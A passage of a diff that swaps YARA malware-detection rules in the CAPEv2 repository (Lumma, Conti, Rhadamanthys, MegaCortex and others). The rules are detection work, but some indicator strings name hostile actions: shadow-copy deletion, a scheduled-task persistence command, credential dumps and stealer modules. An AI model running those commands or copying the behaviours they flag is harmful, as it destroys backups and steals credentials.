44 24 10 FF C1 41 8B C0 D1 64 24 10 33 C3 41 8B D8 FF 4C 24 10 41 33 C3 01 44 24 10 D3 C8 01 44 24 10 41 89 02 49 83 C2 04 83 C2 FF 75 C3} + $crypto64_3 = {33 C6 ?? C7 [0-1] 49 83 C2 04 33 C3 8B F1 8B CF D3 C8 89 02 48 83 C2 04 41 83 C3 FF 75 ?? 45 85 C9 75 ?? 41 83 E0 03} + $crypto64_4 = {41 8B 02 41 8B CB 41 83 F3 01 33 C3 41 8B 1A C1 E1 03 41 33 C0 D3 C8 41 89 02 49 83 C2 04 83 C2 FF 75 C6} + $decrypt_config64 = {44 8B D9 33 C0 45 33 C9 44 33 1D ?? ?? ?? 00 ?? ?? D2 ?? ?? D2 74 ?? 4C 8D 42 10 45 3B 0A 73 2? 45 39 58 F8 75 1C 41 F6 40 FC 01 74 12} + $crypto32_1 = {01 45 FC D1 65 FC FF 4D FC 33 C1 33 45 0C 01 45 FC 43 8A CB D3 C8 8B CE 01 45 FC 89 02 83 C2 04 FF 4D 08 75 CD} + $crypto32_2 = {33 C1 33 44 24 10 43 8A CB D3 C8 8B CE 89 02 83 C2 04 FF 4C 24 0C 75 D9} + $decrypt_config32 = {8B ?? 08 5? 33 F? 3B [1-2] 74 14 A1 0? ?? ?? ?? 35 ?? ?? ?? ?? 50 8B D? E8 ?? D? 00 00 EB 02 33 C0 ?B ?? ?? ?? ?? ?? ?? ?? 74 14 8D 4D ?? ?? ?? 50 FF D? 85 C0 74 08} condition: - uint16( 0 ) == 0x5A4D and ( any of ( $a* ) ) and ( 1 of ( $b* ) ) + uint16( 0 ) == 0x5A4D and ( $decrypt_config64 and any of ( $crypto64* ) ) or ( $decrypt_config32 and any of ( $crypto32* ) ) } -rule CAPE_Bumblebeeshellcode_1 +rule CAPE_Lumma_1 : FILE { meta: - description = "BumbleBee Loader 2023" + description = "Lumma Payload" author = "kevoreilly" - id = "e04f80d0-3a57-51bc-8a54-639c7291a0d8" - date = "2022-04-21" - modified = "2024-10-29" + id = "66cb8b1a-e27e-5008-8f52-0e52e6624057" + date = "2024-01-05" + modified = "2025-07-08" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/BumbleBee.yar#L18-L33" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "d56f8c4e491d0d1b34e396e73750bef9917ca4f708fb6a2681de772a65c13a40" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Lumma.yar#L1-L16" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "ca7822292c58af68e7a1610362bf0b5d27c93e3222ceec8d216e05a442008f37" score = 75 quality = 70 - tags = "" - cape_type = "BumbleBeeLoader Payload" - packed = "51bb71bd446bd7fc03cc1234fcc3f489f10db44e312c9ce619b937fad6912656" + tags = "FILE" + cape_type = "Lumma Payload" + packed = "0ee580f0127b821f4f1e7c032cf76475df9724a9fade2e153a69849f652045f8" + packed = "23ff1c20b16d9afaf1ce443784fc9a025434a010e2194de9dec041788c369887" strings: - $setpath = "setPath" - $alloc = {B8 01 00 00 00 48 6B C0 08 48 8D 0D [2] 00 00 48 03 C8 48 8B C1 48 89 [3] 00 00 00 8B 44 [2] 05 FF 0F 00 00 25 00 F0 FF FF 8B C0 48 89} - $hook = {48 85 C9 74 20 48 85 D2 74 1B 4C 8B C9 45 85 C0 74 13 48 2B D1 42 8A 04 0A 41 88 01 49 FF C1 41 83 E8 01 75 F0 48 8B C1 C3} - $algo = {41 8B C1 C1 E8 0B 0F AF C2 44 3B C0 73 6A 4C 8B [3] 44 8B C8 B8 00 08 00 00 2B C2 C1 E8 05 66 03 C2 8B 94 [2] 00 00 00} - $cape_string = "cape_options" + $decode1 = {C1 (E9|EA) 02 [0-3] 0F B6 (44|4C) ?? FF 83 (F8|F9) 3D 74 05 83 (F8|F9) 2E 75 01 (49|4A) [0-30] 2E 75} + $decode2 = {B0 40 C3 B0 3F C3 89 C8 04 D0 3C 09 77 06 80 C1 04 89 C8 C3 89 C8 04 BF 3C} + $decode3 = {B0 40 C3 B0 3F C3 80 F9 30 72 ?? 80 F9 39 77 06 80 C1 04 89 C8 C3} + $decode4 = {89 C8 04 D0 3C 09 77 ?? [3-11] 89 C8 [0-1] C3 89 C8 04 BF 3C 1A 72 ?? 89 C8 04 9F 3C} condition: - 2 of them and not $cape_string + uint16( 0 ) == 0x5a4d and any of them } -rule CAPE_Bumblebee2024 +rule CAPE_Rokrat : FILE { meta: - description = "BumbleBee 2024" - author = "enzok" - id = "ba92b894-912d-593c-acf9-99cb6ad6d61f" - date = "2022-04-21" - modified = "2024-10-29" + description = "RokRat Payload" + author = "kevoreilly" + id = "12e05b90-9771-5901-ae82-9fd2ea6263e7" + date = "2019-10-30" + modified = "2022-06-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/BumbleBee.yar#L52-L68" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "db58272c1ba74bc6e6a90bdacf7e8feec94be5da2b5123e0475ce86448f3edb2" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/RokRat.yar#L1-L12" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "2aaa7de7ccd59e0da690f4bc0c7deaacf61314d61f8d2aa3ce6f6892f50612ec" score = 75 quality = 70 - tags = "" - cape_type = "BumbleBee Payload" - packed = "a20d56ab2e53b3a599af9904f163bb2e1b2bb7f2c98432519e1fbe87c3867e66" + tags = "FILE" + cape_type = "RokRat Payload" strings: - $rc4key = {48 [6] 48 [6] E8 [4] 4C 89 AD [4] 4C 89 AD [4] 4C 89 B5 [4] 4C 89 AD [4] 44 88 AD [4] 48 8D 15 [4] 44 38 2D [4] 75} - $botidlgt = {4C 8B C1 B? 4F 00 00 00 48 8D 0D [4] E8 [4] 4C 8B C3 48 8D 0D [4] B? 4F 00 00 00 E8 [4] 4C 8B C3 48 8D 0D [4] B? FF 0F 00 00 E8} - $botid = {90 48 [6] E8 [4] 4C 89 AD [4] 4C 89 AD [4] 4C 89 B5 [4] 4C 89 AD [4] 44 88 AD [4] 48 8D 15 [4] 44 38 2D [4] 75} - $port = {4C 89 6D ?? 4C 89 6D ?? 4c 89 75 ?? 4C 89 6D ?? 44 88 6D ?? 48 8D 05 [4] 44 38 2D [4] 75} - $dga1 = {4C 89 75 ?? 4C 89 6D ?? 44 88 6D ?? 48 8B 1D [4] 48 8D 0D [4] E8 [4] 8B F8} - $dga2 = {48 8D 0D [4] E8 [4] 8B F0 4C 89 6D ?? 4C 89 6D ?? 4C 89 75 ?? 4C 89 6D ?? 44 88 6D ?? 48 8D 15 [4] 44 38 2D [4] 75} + $code1 = {8B 57 04 8D 7F 04 33 57 FC 81 E2 FF FF FF 7F 33 57 FC 8B C2 24 01 0F B6 C0 F7 D8 1B C0 D1 EA 25 DF B0 08 99 33 87 30 06 00 00 33 C2 89 87 3C F6 FF FF 83 E9 01 75 C9} + $string1 = "/pho_%s_%d.jpg" wide condition: - $rc4key and all of ( $botid* ) and 2 of ( $port , $port , $dga1 , $dga2 ) + uint16( 0 ) == 0x5A4D and ( any of ( $code* ) ) and ( any of ( $string* ) ) } -rule CAPE_Zloader_1 : FILE +rule CAPE_Magniber : FILE { meta: - description = "Zloader Payload" - author = "kevoreilly, enzok" - id = "a4250532-ddfc-58c2-bbae-82cc201d0c5d" - date = "2020-04-04" - modified = "2025-12-09" + description = "Magniber Payload" + author = "kevoreilly" + id = "a704914f-2aa2-537d-975d-f8c23427951f" + date = "2019-10-30" + modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Zloader.yar#L1-L18" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "adbd0c7096a7373be82dd03df1aae61cb39e0a155c00bbb9c67abc01d48718aa" - logic_hash = "525670973b67aac048199529c97d6be00b0a8cca9bc90deb647366d92a5ea540" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Magniber.yar#L1-L11" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "1875754bdf98c1886f31f6c6e29992a98180f74d8fa168ae391e2c660d760618" score = 75 quality = 70 tags = "FILE" - cape_type = "Zloader Payload" + cape_type = "Magniber Payload" strings: - $rc4_init = {31 [1-3] 66 C7 8? 00 01 00 00 00 00 90 90 [0-5] 8? [5-90] 00 01 00 00 [0-15] (74|75)} - $decrypt_conf = {83 C4 04 84 C0 74 5? E8 [4] E8 [4] E8 [4] E8 [4] ?8 [4] ?8 [4] ?8} - $decrypt_conf_1 = {48 8d [5-11] e8 [4] 48 [3-4] 48 [3-4] 48 [6] E8} - $decrypt_conf_2 = {48 8d [5] 4? [5] e8 [4] 48 [3-4] 48 8d [5] E8 [4] 48} - $decrypt_key_1 = {66 89 C2 4? 8D 0D [3] 00 4? B? FC 03 00 00 E8 [4] 4? 83 C4 [1-2] C3} - $decrypt_key_2 = {48 8d 0d [3] 00 66 89 ?? 4? 89 F0 4? [2-5] E8 [4-5] 4? 83 C4} - $decrypt_key_3 = {48 8d 0d [3] 00 e8 [4] 66 89 [3] b? [4] e8 [4] 66 8b} + $a1 = {8B 55 FC 83 C2 01 89 55 FC 8B 45 FC 3B 45 08 7D 45 6A 01 6A 00 E8 26 FF FF FF 83 C4 08 89 45 F4 83 7D F4 00 75 18 6A 7A 6A 61 E8 11 FF FF FF 83 C4 08 8B 4D FC 8B 55 F8 66 89 04 4A EB 16} condition: - uint16( 0 ) == 0x5A4D and 1 of ( $decrypt_conf* ) and ( 1 of ( $decrypt_key* ) or $rc4_init ) + uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) } -rule CAPE_Zloader2024 : FILE +rule CAPE_Conti : FILE { meta: - description = "Zloader Payload" - author = "enzok" - id = "f99d0994-d4a4-577b-916d-7eaa98e7c331" - date = "2020-04-04" - modified = "2025-12-09" + description = "Conti Ransomware" + author = "kevoreilly" + id = "c94aed07-0eaf-5b51-a81e-e1992543673a" + date = "2020-10-19" + modified = "2021-03-15" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Zloader.yar#L20-L34" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "49405370a33abbf131c5d550cebe00780cc3fd3cbe888220686582ae88f16af7" - logic_hash = "27d883f6d6cab07e602f97a0a032a152386693f79dabf1bb87b0a8a053a38b03" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Conti.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "c9842f93d012d0189b9c6f10ad558b37ae66226bbb619ad677f6906ccaf0e848" score = 75 quality = 70 tags = "FILE" - cape_type = "Zloader Payload" + cape_type = "Conti Payload" strings: - $conf_1 = {48 01 ?? 48 8D 15 [4] 41 B8 ?? 04 00 00 E8 [4] [0-5] C7 [1-2] 00 00 00 00} - $confkey_1 = {48 8D 15 [4] 48 89 ?? 49 89 ?? E8 [4] [0-5] C7 [1-2] 00 00 00 00} - $confkey_2 = {48 01 ?? 48 8D 15 [4] 41 B8 10 00 00 00 E8 [4] [0-5] C7 [1-2] 00 00 00 00 (48 8B|8B)} - $confkey_3 = {48 01 ?? 48 8D 15 [4] 41 B8 10 00 00 00 E8 [4] [0-5] C7 [1-2] 00 00 00 00 48 83 C4} + $crypto1 = {8A 07 8D 7F 01 0F B6 C0 B9 ?? 00 00 00 2B C8 6B C1 ?? 99 F7 FE 8D [2] 99 F7 FE 88 ?? FF 83 EB 01 75 DD} + $website1 = "https://contirecovery.info" ascii wide + $website2 = "https://contirecovery.best" ascii wide condition: - uint16( 0 ) == 0x5A4D and $conf_1 and 2 of ( $confkey_* ) + uint16( 0 ) == 0x5A4D and any of them } -rule CAPE_Zloader2025 : FILE +rule CAPE_Rhadamanthys_1 { meta: - description = "Zloader Payload" - author = "enzok" - id = "dd6ee439-9599-564c-8841-94bd89ae2db0" - date = "2020-04-04" - modified = "2025-12-09" + description = "Rhadamanthys Payload" + author = "kevoreilly, YungBinary" + id = "cd34b971-3603-5237-b47f-aea78ca38cac" + date = "2023-01-25" + modified = "2025-12-19" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/Zloader.yar#L36-L49" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "86ffd411b42d8d06bdb294f48e79393adeea586c56c5c75c1a68ce6315932881" - logic_hash = "cc9c39f0b5e7e8c8853982d9c896bbaac5a36bb0f501c8901d8854f2d5e1a19c" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Rhadamanthys.yar#L1-L19" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "3ccfc97202690dd996ffd2b4f09d31e6ee322bf9f0b7759f9b8c455164995f84" score = 75 quality = 70 - tags = "FILE" - cape_type = "Zloader Payload" + tags = "" + cape_type = "Rhadamanthys Payload" strings: - $conf = {4? 01 ?? [4] E8 [4] 4? 8D 15 [4] 4? 89 ?? 4? 89 ?? E8 [4] C7 46 30 00 00 00 00 8B 7E 34} - $confkey_1 = {4? 01 ?? [2] E8 [4] 4? 8D 15 [4] 4? 89 ?? 4? 89 ?? E8 [4] C7 46 34 00 00 00 00 8B 46 38} - $confkey_2 = {4? 01 ?? [2] E8 [4] 4? 8D 15 [4] 4? 89 ?? 4? 89 ?? E8 [4] C7 46 38 00 00 00 00 48 83 C4 28} + $rc4 = {88 4C 01 08 41 81 F9 00 01 00 00 7C F3 89 75 08 33 FF 8B 4D 08 3B 4D 10 72 04 83 65 08 00} + $code = {8B 4D FC 3B CF 8B C1 74 0D 83 78 04 02 74 1C 8B 40 1C 3B C7 75 F3 3B CF 8B C1 74 57 83 78 04 17 74 09 8B 40 1C 3B C7 75 F3 EB} + $conf_1 = {46 BB FF 00 00 00 23 F3 0F B6 44 31 08 03 F8 23 FB 0F B6 5C 39 08 88 5C 31 08 88 44 39 08 02 C3 8B 5D 08 0F B6 C0 8A 44 08 08} + $conf_2 = {0F B6 4F 2A 8D 77 2A 33 C0 6A 03 89 45 F8 89 45 FC 89 45 08 8B C1} + $beef = {57 8D 44 33 FC 53 83 C6 FC 50 56 E8 [4] 83 C4 10 66 81 3F EF BE 0F 85} + $anti = {50 68 [4] 68 [4] E8 [4] 83 C4 0C A3 [4] 85 C0 74} + $dnr = {99 52 50 8D 45 ?? 99 52 50 8B C7 99 52 50 8B C3 99 52 50} + $sys = {83 E4 F0 6A 33 E8 00 00 00 00 83 04 24 05 CB} + $cape_string = "cape_options" condition: - uint16( 0 ) == 0x5A4D and $conf and all of ( $confkey_* ) + 2 of them and not $cape_string } - -rule CAPE_Netsupport : FILE +rule CAPE_Rhadamanthysloader { meta: - description = "Detects NetSupport Manager RAT on disk or in memory" - author = "YungBinary" - id = "c517193e-bee3-59c4-9fbf-aad01ee13379" - date = "2025-10-17" - modified = "2025-10-17" + description = "Rhadamanthys Loader" + author = "kevoreilly" + id = "0d9955e8-c6e5-50f0-8006-8f6157038d40" + date = "2023-01-25" + modified = "2025-12-19" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/NetSupport.yar#L3-L16" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "d12e46d74ae0ba9f599d27dc2f55ff92a6648accbcd1a43cc3f1a9a2755e5fc7" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Rhadamanthys.yar#L21-L33" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "5505c9ba1f0c6cb9aa9c212bf8bc2c49ad544e99996a1f4c1fa79a27a14d4c7f" score = 75 quality = 70 - tags = "FILE" - cape_type = "NetSupport Payload" + tags = "" + cape_type = "Rhadamanthys Loader" strings: - $a1 = "NetSupport Manager" wide - $b1 = "NetSupport Remote Control" wide - $s1 = "Client Application" wide - $s2 = "NetSupport Ltd" wide + $ref = {33 D2 B9 0B 00 00 00 F7 F1 B8 01 00 00 00 6B C8 00 8D 84 0D [4] 0F BE 0C 10 8B 95 [4] 03 95 [4] 0F B6 02 33 C1 8B 8D [4] 03 8D [4] 88 01} + $ntdll = {B9 6E 00 00 00 66 89 8D [4] BA 74 00 00 00 66 89 95 [4] B8 64 00 00 00 66 89 85 [4] B9 6C 00 00 00 66 89 8D [4] BA 6C 00 00 00 66 89 95} + $exit = {6A 00 6A 00 6A 00 6A 00 6A 00 6A 00 8B 95 [4] 52 8B 85 [4] 50 6A 00 68 FF FF 1F 00} condition: - uint16( 0 ) == 0x5a4d and ( ( pe.imports ( "PCICL32.dll" , "_NSMClient32@8" ) ) or ( ( $a1 and $b1 ) or ( $s1 and $s2 ) ) ) + 2 of them } -rule CAPE_Asyncrat_Kingrat +rule CAPE_Megacortex : FILE { meta: - description = "No description has been set in the source file - CAPE" - author = "jeFF0Falltrades" - id = "45efdcdf-b255-5913-97eb-f296d2c4eb1f" - date = "2024-10-09" - modified = "2025-02-03" + description = "MegaCortex Payload" + author = "kevoreilly" + id = "ea3dd937-2cb1-5b0f-98b8-154aacaf8650" + date = "2019-10-30" + modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/AsyncRAT.yar#L1-L30" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "1400d2029dfb66d8f2dc34db8643d6301f3af9bd356639f883d2c10bcc0c3947" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/MegaCortex.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "5de1d8241260070241c91b97f18feb2a90069e3b158e863e2d9f568799c244e6" score = 75 - quality = 33 - tags = "" - cape_type = "AsyncRAT Payload" + quality = 70 + tags = "FILE" + cape_type = "MegaCortex Payload" strings: - $str_async = "AsyncClient" wide ascii nocase - $str_aes_exc = "masterKey can not be null or empty" wide ascii - $str_schtasks = "schtasks /create /f /sc onlogon /rl highest" wide ascii - $byte_aes_key_base = { 7E [3] 04 73 [3] 06 80 } - $byte_aes_salt_base = { BF EB 1E 56 FB CD 97 3B B2 19 } - $patt_verify_hash = { 7e [3] 04 6f [3] 0a 6f [3] 0a 74 [3] 01 } - $patt_config = { 72 [3] 70 80 [3] 04 } - $dcrat_1 = "dcrat" wide ascii nocase - $dcrat_2 = "qwqdan" wide ascii - $dcrat_3 = "YW1zaS5kbGw=" wide ascii - $dcrat_4 = "VmlydHVhbFByb3RlY3Q=" wide ascii - $dcrat_5 = "save_Plugin" wide ascii - $ww2 = "WorldWindClient" wide fullword nocase - $ww3 = "WorldWindStealer" wide fullword nocase - $ww4 = "*WorldWind Pro - Results:*" wide fullword nocase - $ww5 = /WorldWind(\s)?Stealer/ ascii wide - $prynt = /Prynt(\s)?Stealer/ ascii wide + $str1 = ".megac0rtx" ascii wide + $str2 = "vssadmin delete shadows /all" ascii + $sha256 = {98 2F 8A 42 91 44 37 71 CF FB C0 B5 A5 DB B5 E9} condition: - ( not any of ( $dcrat* ) and not any of ( $ww* ) and not $prynt ) and 6 of them and #patt_config >= 10 + uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Stormkitty : FILE +rule CAPE_Gootkit : FILE { meta: - description = "StormKitty infostealer payload" - author = "ditekSHen" - id = "71239da9-064f-58c4-a6fa-eb4983a3f55e" - date = "2024-10-09" - modified = "2025-02-03" + description = "Gootkit Payload" + author = "kevoreilly" + id = "8935fd10-ac79-5196-80c2-fc8f2fe185b5" + date = "2019-10-30" + modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/AsyncRAT.yar#L32-L57" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "258f5d9da80ff912459194b1139f062491df21a44456942951e2bd98e4b86c9b" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Gootkit.yar#L1-L11" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "26704b6b0adca51933fc9d5e097930320768fd0e9355dcefc725aee7775316e7" score = 75 - quality = 41 + quality = 70 tags = "FILE" - cape_type = "StormKitty Payload" + cape_type = "Gootkit Payload" strings: - $x1 = "\\ARTIKA\\Videos\\Chrome-Password-Recovery" ascii - $x2 = "https://github.com/LimerBoy/StormKitty" fullword ascii - $x3 = "StormKitty" fullword ascii - $s1 = "GetBSSID" fullword ascii - $s2 = "GetAntivirus" fullword ascii - $s3 = "C:\\Users\\Public\\credentials.txt" fullword wide - $s4 = "^([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})$" fullword wide - $s5 = "BCrypt.BCryptGetProperty() (get size) failed with status code:{0}" fullword wide - $s6 = "\"encrypted_key\":\"(.*?)\"" fullword wide - $ww2 = "WorldWindClient" wide fullword nocase - $ww3 = "WorldWindStealer" wide fullword nocase - $ww4 = "*WorldWind Pro - Results:*" wide fullword nocase - $ww5 = /WorldWind(\s)?Stealer/ ascii wide - $prynt = /Prynt(\s)?Stealer/ ascii wide + $code1 = {C7 45 ?? ?? ?? 4? 00 C7 45 ?? ?? 10 40 00 C7 45 E? D8 ?? ?? 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 [1-2] 00 10 40 00 89 [5-6] 43 00 89 ?? ?? 68 E8 80 00 00 FF 15} condition: - uint16( 0 ) == 0x5a4d and ( not any of ( $ww* ) and not $prynt ) and ( 2 of ( $x* ) or 5 of ( $s* ) or ( 3 of ( $s* ) and 1 of ( $x* ) ) ) + uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Worldwind : FILE +rule CAPE_Azorult : FILE { meta: - description = "Detects WorldWind infostealer" - author = "ditekSHen" - id = "226f591a-dc06-54f5-96ae-d142f624ff71" - date = "2024-10-09" - modified = "2025-02-03" + description = "Azorult Payload" + author = "kevoreilly" + id = "ca76ec00-001f-56d0-bdbc-9dfd3239fba8" + date = "2019-10-30" + modified = "2022-06-09" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/AsyncRAT.yar#L60-L82" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "9bb04fad460193cd877ea7f2de9337f69aadda01aee6c79f0a23cdf564b1e6c8" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Azorult.yar#L1-L12" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "4691cf48d513d1965416b0cce1b6e19c8f7b393a940afd68b7c6ca8c0d125d90" score = 75 - quality = 45 + quality = 70 tags = "FILE" - cape_type = "WorldWind Payload" + cape_type = "Azorult Payload" strings: - $c1 = /WorldWind(\s)?Stealer/ ascii wide - $x2 = "@FlatLineStealer" ascii wide - $x3 = "@CashOutGangTalk" ascii wide - $m1 = ".Passwords.Targets." ascii - $m2 = ".Modules.Keylogger" ascii - $m3 = ".Modules.Clipper" ascii - $m4 = ".Modules.Implant" ascii - $s1 = "--- Clipper" wide - $s2 = "Downloading file: \"{file}\"" wide - $s3 = "/bot{0}/getUpdates?offset={1}" wide - $s4 = "send command to bot!" wide - $s5 = " *Keylogger " fullword wide - $s6 = "*Stealer" wide - $s7 = "Bot connected" wide + $code1 = {C7 07 3C 00 00 00 8D 45 80 89 47 04 C7 47 08 20 00 00 00 8D 85 80 FE FF FF 89 47 10 C7 47 14 00 01 00 00 8D 85 00 FE FF FF 89 47 1C C7 47 20 80 00 00 00 8D 85 80 FD FF FF 89 47 24 C7 47 28 80 00 00 00 8D 85 80 F5 FF FF 89 47 2C C7 47 30 00 08 00 00 8D 85 80 F1 FF FF 89 47 34 C7 47 38 00 04 00 00 57 68 00 00 00 90} + $string1 = "SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),\"unixepoch\")" condition: - uint16( 0 ) == 0x5a4d and 1 of ( $c* ) and ( 1 of ( $x* ) or 2 of ( $m* ) or 3 of ( $s* ) ) + uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Prynt : FILE +rule CAPE_Cryptoshield : FILE { meta: - description = "Detects Prynt infostealer" - author = "ditekSHen" - id = "844fd100-b04e-5ff0-9fab-d45f48b55bcc" - date = "2024-10-09" - modified = "2025-02-03" + description = "Cryptoshield Payload" + author = "kevoreilly" + id = "a7b60a0d-7d46-59c9-8273-ee23bae3fbbc" + date = "2019-10-30" + modified = "2019-10-30" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/AsyncRAT.yar#L85-L107" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "84f2b33285ab1d129a62940a02990639cc8f7c92d490d7257e6aed9170d1e34e" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/data/yara/CAPE/Cryptoshield.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "46064b4c69cb1af01330c5d194ef50728e0f0479e9fbf72828822935f8e37ac6" score = 75 - quality = 45 + quality = 70 tags = "FILE" - cape_type = "Prynt Payload" + cape_type = "Cryptoshield Payload" strings: - $c1 = /Prynt(\s)?Stealer/ ascii wide - $x2 = "@FlatLineStealer" ascii wide - $x3 = "@CashOutGangTalk" ascii wide - $m1 = ".Passwords.Targets." ascii - $m2 = ".Modules.Keylogger" ascii - $m3 = ".Modules.Clipper" ascii - $m4 = ".Modules.Implant" ascii - $s1 = "--- Clipper" wide - $s2 = "Downloading file: \"{file}\"" wide - $s3 = "/bot{0}/getUpdates?offset={1}" wide - $s4 = "send command to bot!" wide - $s5 = " *Keylogger " fullword wide - $s6 = "*Stealer" wide - $s7 = "Bot connected" wide + $a1 = "CRYPTOSHIELD." wide + $a2 = "Click on Yes in the next window for restore work explorer" wide + $a3 = "r_sp@india.com - SUPPORT" condition: - uint16( 0 ) == 0x5a4d and 1 of ( $c* ) and ( 1 of ( $x* ) or 2 of ( $m* ) or 3 of ( $s* ) ) + uint16( 0 ) == 0x5A4D and ( all of ( $a* ) ) } -rule CAPE_Xworm_1 : FILE +rule CAPE_Buerloader_1 : FILE { meta: - description = "Detects XWorm" - author = "ditekSHen" - id = "bf9115a7-850a-5326-860c-a9a71bc7e50c" - date = "2024-10-09" - modified = "2025-02-03" + description = "No description has been set in the source file - CAPE" + author = "kevoreilly & Rony (@r0ny_123)" + id = "95a9b4d7-db1e-50cd-bc08-01e4e4fd6dc4" + date = "2020-10-29" + modified = "2022-05-31" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/data/yara/CAPE/AsyncRAT.yar#L110-L136" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "5a86c2f0a188135e53d86c176806a208abbe3dd830bde364016859ffa5294bd7" + source_url = 